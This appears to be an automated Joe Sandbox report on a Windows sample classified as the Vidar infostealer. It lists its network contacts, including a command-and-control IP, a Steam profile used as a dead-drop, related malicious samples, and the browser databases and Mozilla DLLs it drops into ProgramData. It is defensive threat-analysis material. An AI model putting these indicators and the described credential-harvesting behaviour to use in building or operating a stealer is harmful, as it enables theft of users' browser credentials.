http://www.sqlite.org/copyright.html.	RegAsm.exe, 00000003.00000002.2044042072.000000001928D000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2040755834.00000000132E9000.00000004.00000020.00020000.00000000.sdmp, sqlx[1].dll.3.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=engl	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l=	76561199686524322[1].htm.3.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&l=en	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	RegAsm.exe, 00000003.00000002.2039843290.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000001068000.00000004.00000020.00020000.00000000.sdmp, IIDHJD.3.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	JEGHDA.3.dr	false	Avira URL Cloud: safe	unknown
https://95.217.240.101/softokn3.dllK	RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.cloudflare.steamstatic.com/public/css/globalv2.css?v=pwVcIAtHNXwg&l=english&am	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/css/skin_1/header.css?v=vh4BMeDcNiCU&l=engli	RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	URL Reputation: safe	unknown
https://store.steampowered.com/	76561199686524322[1].htm.3.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016ost.exe	RegAsm.exe, 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	JEGHDA.3.dr	false	URL Reputation: safe	unknown
https://95.217.240.101/v	RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	false	URL Reputation: safe	unknown
https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	76561199686524322[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	RegAsm.exe, 00000003.00000002.2039843290.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000001068000.00000004.00000020.00020000.00000000.sdmp, IIDHJD.3.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
23.194.234.100	steamcommunity.com	United States		16625	AKAMAI-ASUS	true
95.217.240.101	unknown	Germany		24940	HETZNER-ASDE	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1442218
Start date and time:	2024-05-15 20:35:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@11/25@1/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 105 Number of non-executed functions: 217
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
20:35:57	API Interceptor	1x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
23.194.234.100	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	UJzMs6lsyF.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	CDssd7jEvY.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, SmokeLoader, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	7qAKRRMho6.exe	Get hash	malicious	GCleaner, Glupteba, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse
	file.exe	Get hash	malicious	Vidar	Browse
95.217.240.101	file.exe	Get hash	malicious	Vidar	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
steamcommunity.com	file.exe	Get hash	malicious	Vidar	Browse	23.194.234.100
	file.exe	Get hash	malicious	PrivateLoader, Vidar	Browse	184.85.65.125
	mod01_pdf.lnk	Get hash	malicious	Unknown	Browse	23.65.44.84
	file.exe	Get hash	malicious	PrivateLoader, Vidar	Browse	104.106.57.101
	file.exe	Get hash	malicious	PrivateLoader, Vidar	Browse	184.85.65.125
	file.exe	Get hash	malicious	PrivateLoader, Vidar	Browse	184.85.65.125
	file.exe	Get hash	malicious	PrivateLoader, PureLog Stealer, Vidar, zgRAT	Browse	184.85.65.125
	file.exe	Get hash	malicious	Clipboard Hijacker, PrivateLoader, Vidar	Browse	184.85.65.125
	file.exe	Get hash	malicious	PrivateLoader, Vidar	Browse	23.195.238.96
	file.exe	Get hash	malicious	PrivateLoader, Vidar	Browse	104.105.90.131

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASUS	https://drive.google.com/file/d/11Nff_nSTj-qAFgshL0mhor7fJP9kHxH0/view?usp=drive_web	Get hash	malicious	Quasar	Browse	23.196.176.131
	FW Server Notice Heatherg System Alert Notification..eml	Get hash	malicious	HTMLPhisher	Browse	23.43.173.38
	https://us22.mailchimp.com/mctx/clicks?url=https%3A%2F%2Fnaport.com.br%2Ftech&xid=b07540652e&uid=212127442&iid=43a204bb7e&pool=cts&v=2&c=1715276467&h=633aae99b87aa03fcfcd4d0ee69f8d68261dff9fc69fccbb3cfe374e7c574b94	Get hash	malicious	Unknown	Browse	72.246.62.115
	https://1drv.ms/f/s!Au13bCs5C-oDg80wq6Iti50hSMW3rA?e=vlTf9z	Get hash	malicious	Unknown	Browse	23.196.176.131
	http://salecinask.live	Get hash	malicious	Unknown	Browse	23.221.214.135
	http://salecinask.live	Get hash	malicious	Unknown	Browse	184.26.116.50
	support.Client.exe.zip	Get hash	malicious	ScreenConnect Tool	Browse	23.193.120.112
	https://gamma.app/docs/Shared-Notice-and-Email-Disclaimers-6aqig6w4unouiqo?mode=present#card-cngszya3osgcwyj	Get hash	malicious	HTMLPhisher	Browse	23.67.64.198
	https://erzincanaktastaksi.com/20/w2_2023_Up.zip	Get hash	malicious	XWorm	Browse	23.202.101.159
	file.exe	Get hash	malicious	Vidar	Browse	23.194.234.100
HETZNER-ASDE	PPR & PARTNER Pape Rauh #U201cAttached document to review & sign#U201d with you.eml	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	78.46.157.212
	https://download.filezilla-project.org/client/FileZilla_3.67.0_win64_sponsored2-setup.exe	Get hash	malicious	Unknown	Browse	49.12.121.47
	file.exe	Get hash	malicious	Vidar	Browse	95.217.240.101
	x15Wvov9Bj.elf	Get hash	malicious	Mirai	Browse	188.34.238.142
	YCrL9vbZ3g.elf	Get hash	malicious	Mirai	Browse	46.4.110.27
	Aqua.x86.elf	Get hash	malicious	Mirai	Browse	144.79.222.198
	Xlrfx.bat	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	135.181.215.231
	Order List 300572024.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	135.181.215.231
	new order 20240508.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	135.181.215.231
	Shipping Advice.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	135.181.215.231

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
51c64c77e60f3980eea90869b68c58a8	file.exe	Get hash	malicious	Vidar	Browse	95.217.240.101
	file.exe	Get hash	malicious	PrivateLoader, Vidar	Browse	95.217.240.101
	file.exe	Get hash	malicious	PrivateLoader, Vidar	Browse	95.217.240.101
	file.exe	Get hash	malicious	PrivateLoader, Vidar	Browse	95.217.240.101
	file.exe	Get hash	malicious	PrivateLoader, Vidar	Browse	95.217.240.101
	file.exe	Get hash	malicious	PrivateLoader, PureLog Stealer, Vidar, zgRAT	Browse	95.217.240.101
	file.exe	Get hash	malicious	Clipboard Hijacker, PrivateLoader, Vidar	Browse	95.217.240.101
	.pdf.scr.exe	Get hash	malicious	CobaltStrike	Browse	95.217.240.101
	.pdf.scr.exe	Get hash	malicious	CobaltStrike	Browse	95.217.240.101
	file.exe	Get hash	malicious	PrivateLoader, Vidar	Browse	95.217.240.101
37f463bf4616ecd445d4a1937da06e19	Justificante pago 80923089.exe	Get hash	malicious	GuLoader	Browse	23.194.234.100
	SecuriteInfo.com.Win32.SpywareX-gen.21792.30077.dll	Get hash	malicious	Unknown	Browse	23.194.234.100
	SecuriteInfo.com.Win32.SpywareX-gen.19771.22491.dll	Get hash	malicious	Unknown	Browse	23.194.234.100
	SecuriteInfo.com.Win32.SpywareX-gen.21792.30077.dll	Get hash	malicious	Unknown	Browse	23.194.234.100
	SecuriteInfo.com.Win32.SpywareX-gen.19771.22491.dll	Get hash	malicious	Unknown	Browse	23.194.234.100
	file.exe	Get hash	malicious	Amadey	Browse	23.194.234.100
	V#U2550DEOS.EXE	Get hash	malicious	Brontok	Browse	23.194.234.100
	LCS-155-44 01_General_Purchase_Order_Terms_and_Conditions.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	23.194.234.100
	file.exe	Get hash	malicious	Vidar	Browse	23.194.234.100
	20220829_PEDIDO_22073M_PROTECO_LIMPIEZA_Y_KITS.exe	Get hash	malicious	GuLoader	Browse	23.194.234.100

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\GHIJJEGDBFII\mozglue.dll	HaxexQ5EjD.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	40UAEu1Kpt.exe	Get hash	malicious	LummaC, CryptOne, GCleaner, Glupteba, Mars Stealer, PrivateLoader, PureLog Stealer	Browse
	file.exe	Get hash	malicious	PrivateLoader, Vidar	Browse
	file.exe	Get hash	malicious	PrivateLoader, Vidar	Browse
	file.exe	Get hash	malicious	PrivateLoader, Vidar	Browse
	file.exe	Get hash	malicious	PrivateLoader, Vidar	Browse
	file.exe	Get hash	malicious	PrivateLoader, PureLog Stealer, Vidar, zgRAT	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, PrivateLoader, Vidar	Browse
	WcBJX1H1hg.exe	Get hash	malicious	Mars Stealer, PrivateLoader, Stealc, Vidar	Browse
C:\ProgramData\GHIJJEGDBFII\freebl3.dll	HaxexQ5EjD.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	40UAEu1Kpt.exe	Get hash	malicious	LummaC, CryptOne, GCleaner, Glupteba, Mars Stealer, PrivateLoader, PureLog Stealer	Browse
	file.exe	Get hash	malicious	PrivateLoader, Vidar	Browse
	file.exe	Get hash	malicious	PrivateLoader, Vidar	Browse
	file.exe	Get hash	malicious	PrivateLoader, Vidar	Browse
	file.exe	Get hash	malicious	PrivateLoader, Vidar	Browse
	file.exe	Get hash	malicious	PrivateLoader, PureLog Stealer, Vidar, zgRAT	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, PrivateLoader, Vidar	Browse
	WcBJX1H1hg.exe	Get hash	malicious	Mars Stealer, PrivateLoader, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\GHIJJEGDBFII\AEHDAK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHIJJEGDBFII\CBFIJE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHIJJEGDBFII\CBFIJE-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	high, very likely benign file
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHIJJEGDBFII\CFHCGH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHIJJEGDBFII\GCBFBG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHIJJEGDBFII\GCBFBG-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHIJJEGDBFII\GDAAKF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHIJJEGDBFII\GHIJJE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHIJJEGDBFII\HDAFII

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHIJJEGDBFII\IIDHJD

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\GHIJJEGDBFII\JEGHDA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHIJJEGDBFII\freebl3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: HaxexQ5EjD.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 40UAEu1Kpt.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: WcBJX1H1hg.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHIJJEGDBFII\mozglue.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
